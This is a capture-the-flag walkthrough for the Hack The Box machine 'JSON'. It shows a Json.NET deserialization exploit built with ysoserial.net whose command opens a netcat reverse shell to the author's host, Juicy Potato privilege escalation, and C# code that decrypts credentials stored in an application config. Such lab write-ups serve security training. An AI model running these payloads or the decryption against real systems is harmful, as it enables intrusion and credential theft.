JSON - Hack The Box

To get remote code execution on JSON, I exploited a deserialization vulnerability in the web application using the Json.net formatter. After getting a shell I could either get a quick SYSTEM shell by abusing SeImpersonatePrivileges with Juicy Potato or reverse the Sync2FTP application to decrypt its configuration and find the superadmin user credentials.

Summary

  • Get access to the dashboard using admin/admin credentials and find the API token endpoint
  • Create a payload with ysoserial.net to get RCE through deserialization vulnerability in the Bearer header
  • I can get SYSTEM with Juicy Potato since my low priv user has SeImpersonatePrivilege (unintended way)
  • I reverse the .NET app Sync2Ftp to find how the credentials stored in the config are encrypted and retrieve the superadmin password

Portscan

# nmap -sC -sV -p- -T4 10.10.10.158
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-29 20:30 EDT
Nmap scan report for 10.10.10.158
Host is up (0.052s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

FTP

Anonymous access is not enabled and this version doesn’t not appear vulnerable to any public exploit I could find:

# ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): anonymous
331 Password required for anonymous
Password:
530 Login or password incorrect!
Login failed.
Remote system type is UNIX.

SMB

I can’t enumerate the shares on this machine since I don’t have access. I try null and guest sessions without success:

root@kali:~/htb/json# smbmap -u invalid -H 10.10.10.158
[+] Finding open SMB ports....
[!] Authentication error occured
[!] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[!] Authentication error on 10.10.10.158

root@kali:~/htb/json# smbmap -u '' -H 10.10.10.158
[+] Finding open SMB ports....
[!] Authentication error occured
[!] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
[!] Authentication error on 10.10.10.158

Web server page

I’m prompted to log in on the main site:

I try a few default credentials combinations and find that the admin / admin credentials work and I can log in to the site and access the dashboard:

At first glance this seems like a static page with nothing useful on it. The only thing that stands out is the /api/token endpoint used during the login.

# gobuster dir -q -w /opt/SecLists/Discovery/Web-Content/big.txt -u http://10.10.10.158
/css (Status: 301)
/files (Status: 301)
/img (Status: 301)
/js (Status: 301)
/views (Status: 301)

I’ll check out /files next, maybe it contains something useful.

# gobuster dir -q -t 50 -w /opt/SecLists/Discovery/Web-Content/big.txt -x txt,php -u http://10.10.10.158/files
/password.txt (Status: 200)

The password file contains something but I’m not sure if it’s a username or a password. This is probably just a troll.

# curl 10.10.10.158/files/password.txt
Jajaja

Not Correct

Json.net deserialization

The name of the box is Json so this is a hint about what to look for on this box. The only thing I found that uses JSON is the login form with the /api/token endpoint.

By playing with the input in Burp Suite, I can produce a 500 error message when I give it an invalid JSON payload (missing a double quote). The error message discloses the path of one of the web app C# file: C:\\Users\\admin\\source\\repos\\DemoAppExplanaiton\\DemoAppExplanaiton\\Controllers\\AccountController.cs.

Next, I look at the OAuth2 cookie set after I authenticate:

Decoded it is: {"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

When the main page accesses the /api/Account endpoint, I see it also sends the same base64 encoded value in the Bearer header:

I’ll modify the Bearer header and see if I can make it error out. To start with, I’ll use the following payload which is invalid JSON:

echo '{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",thisisinvalid___aaaaaaa}' | base64 -w0

Ahah! So now I know that the web application is deserializing the Bearer content using the Json.Net library. I remember reading about deserialization vulnerabilities recently during my OSWE studies. There was also another HTB box called Arkham who used a deserialization vulnerability but with Java.

There’s a nice tool already written that generates deserialization payloads using gadgets found in common librairies and frameworks. For this box, I’ll use the ObjectDataProvider gadget with the Json.net formatter. I’ll attempt to get a reverse shell by executing netcat through an SMB share on my box.

ysoserial.exe -g ObjectDataProvider -f json.net -c "\\\\10.10.14.21\\pwn\\nc.exe -e cmd.exe 10.10.14.21 4444" -o raw
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c \\\\10.10.14.21\\pwn\\nc.exe -e cmd.exe 10.10.14.21 4444']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

I’ll need to base64 encode the payload so I use the -o base64 flag instead:

ysoserial.exe -g ObjectDataProvider -f json.net -c "\\\\10.10.14.21\\pwn\\nc.exe -e cmd.exe 10.10.14.21 4444" -o base64
ew0KICAgI[...]Dg5J30NCn0=

When I send the payload in the Bearer I still get a 500 error message…

But a few seconds after I get a callback on my SMB server then a shell after:

My user is userpool and he has the user.txt flag in his desktop folder:

Privesc unintended method

First, let’s check which Windows version the machine is running.

c:\windows\system32\inetsrv>systeminfo | findstr Windows
OS Name:                   Microsoft Windows Server 2012 R2 Datacenter

Next, I see that my user has SeImpersonatePrivilege privileges.

c:\windows\system32\inetsrv>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

This is pretty much game over at that point due to the good old Rotten/Juicy Potato exploit that works prior to Windows Server 2019. If we have SeImpersonatePrivilege privileges then we can easily escalate to NT AUTHORITY\SYSTEM.

Privesc using Sync2Ftp

Now on to the intended way to root this box. There’s an application called Sync2Ftp running on the system which has a configuration file with encrypted credentials:

Directory of c:\Program Files\Sync2Ftp

05/23/2019  03:06 PM    <DIR>          .
05/23/2019  03:06 PM    <DIR>          ..
05/23/2019  02:48 PM             9,728 SyncLocation.exe
05/23/2019  03:08 PM               591 SyncLocation.exe.config
               2 File(s)         10,319 bytes
               2 Dir(s)  62,217,244,672 bytes free
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>


</configuration>

When I try to base64 decode the user and password blobs I only get gibberish so it’s probably encrypted with the SecurityKey somehow. I’ll copy the exe file over then disassemble it to find out how the encryption works.

The file is a .Net assembly so I’ll use dnspy to disassemble this. It’ll be much easier then reversing a C application since I can get the C# source code instead of assembly.

root@kali:~/htb/json# file SyncLocation.exe
SyncLocation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The copy method takes the parameters from the config file and calls the Crypto.Decrypt method.

In the Decrypt method, the highlighted if branch is taken since the useHashing parameter was passed as true from the calling method. The key used by the 3DES decryption routine is derived from the MD5 hash of the provided SecurityKey.

I have all the pieces I need to decrypt the credentials: I got the ciphertext, the encryption cipher used, the encryption key and the source code to make my life easier. I’ll create a new .Net project and copy parts of the code I need to decypt the credentials.

using System;
using System.Configuration;
using System.Security.Cryptography;
using System.Text;

namespace JsonDecrypt
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true));
            Console.WriteLine(Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
        }

        public static string Decrypt(string cipherString, bool useHashing)
        {
            byte[] array = Convert.FromBase64String(cipherString);
            string s = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%";
            byte[] key;
            if (useHashing)
            {
                MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
                key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
                md5CryptoServiceProvider.Clear();
            }
            else
            {
                key = Encoding.UTF8.GetBytes(s);
            }
            TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
            tripleDESCryptoServiceProvider.Key = key;
            tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
            tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
            ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
            byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
            tripleDESCryptoServiceProvider.Clear();
            return Encoding.UTF8.GetString(bytes);
        }
    }
}

Got the superadmin username and the funnyhtb password.

Tried connecting with WinRM but failed:

root@kali:/opt/evil-winrm# ./evil-winrm.rb -u superadmin -p funnyhtb -i 10.10.10.158

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

Error: Can't establish connection. Check connection params

Error: Exiting with code 1

Tried psexec and failed:

root@kali:/opt/evil-winrm# psexec superadmin:funnyhtb@10.10.10.158 cmd.exe
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.10.158.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.

WMI exec too…

root@kali:/opt/evil-winrm# /usr/share/doc/python-impacket/examples/wmiexec.py json/superadmin:funnyhtb@10.10.10.158 cmd.exe
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied

FTP lets me in though and I can fetch the flag:

root@kali:/opt/evil-winrm# ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): superadmin
331 Password required for superadmin
Password:
230 Logged on
Remote system type is UNIX.
ftp> ls
200 Port command successful
150 Opening data channel for directory listing of "/"
...
ftp> cd Desktop
250 CWD successful. "/Desktop" is current directory.
ftp> ls
200 Port command successful
150 Opening data channel for directory listing of "/Desktop"
-r--r--r-- 1 ftp ftp            282 May 22  2019 desktop.ini
-r--r--r-- 1 ftp ftp             32 May 22  2019 root.txt
226 Successfully transferred "/Desktop"